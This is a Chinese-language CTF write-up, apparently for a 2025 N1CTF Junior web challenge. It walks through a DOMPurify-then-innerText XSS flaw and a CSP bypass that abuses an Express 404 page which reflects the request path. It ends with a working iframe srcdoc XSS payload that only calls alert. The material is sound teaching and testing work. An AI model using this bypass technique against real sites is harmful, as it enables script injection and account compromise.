核心邏輯
// 獲取 URL 查詢參數的值
function getQueryParam(param) { // 使用 URLSearchParams 從 URL 查詢字符串中提取參數 const urlParams = new URLSearchParams(window.location.search); // 返回查詢參數的值 return urlParams.get(param);
} // 使用 DOMPurify 對內容進行清理(sanitize),防止 XSS 攻擊
function sanitizeContent(text) { // 只允許 <h1>, <h2> 標簽和純文本 const config = { ALLOWED_TAGS: ['h1', 'h2'] // 配置允許的標簽 }; // 返回清理后的內容,DOMPurify 會移除不允許的標簽和潛在的危險內容 return DOMPurify.sanitize(text, config);
} // 當 DOM 完全加載后執行的代碼
document.addEventListener("DOMContentLoaded", function() { // 獲取頁面中輸入框、按鈕和內容顯示區域的 DOM 元素 const textInput = document.getElementById('text-input'); const insertButton = document.getElementById('insert-btn'); const contentDisplay = document.getElementById('content-display'); // 獲取 URL 查詢參數中的 'text' 參數 const queryText = getQueryParam('text'); // 如果查詢參數 'text' 存在 if (queryText) { // 解碼并清理傳入的文本,atob 用于解碼 base64,decodeURI 處理 URL 編碼 const sanitizedText = sanitizeContent(atob(decodeURI(queryText))); // 如果清理后的文本不為空 if (sanitizedText.length > 0) { // 將清理后的文本設置為輸入框的內容(innerHTML 用于處理 HTML 標簽) textInput.innerHTML = sanitizedText; // 將清理后的文本設置為預覽區的顯示內容 contentDisplay.innerHTML = textInput.innerText; // 啟用插入按鈕 insertButton.disabled = false; } else { // 如果清理后的文本為空,顯示警告信息 textInput.innerText = "Only allow h1, h2 tags and plain text"; } }
});
過濾后再轉換,sanitizedText
在經過.innerText
時其中的HTML實體會被轉換為字符串。
當訪問不存在頁面時會返回路徑名,可以利用這一點來構造腳本執行
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none';
Content-Type: text/plain; charset=utf-8
Content-Length: 17
ETag: W/"11-GF1FwKuoyTpdz1qrL+FpsG3KmnU"
Date: Fri, 14 Feb 2025 07:59:03 GMT
Connection: keep-alive
Keep-Alive: timeout=5/1 : invalid path
使用<iframe srcdoc=url>
來在屬性值中嵌入 HTML 內容,并在其中嵌套<script src=url>
來繞過安全策略,使用**/
與 //
閉合
<iframe srcdoc="<script src='**/alert(`xss`)//'></script>"></iframe>
- 注意字符串包裹方式依次為
"
'
` - 因為js支持使用反引號包裹字符串
參考
2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog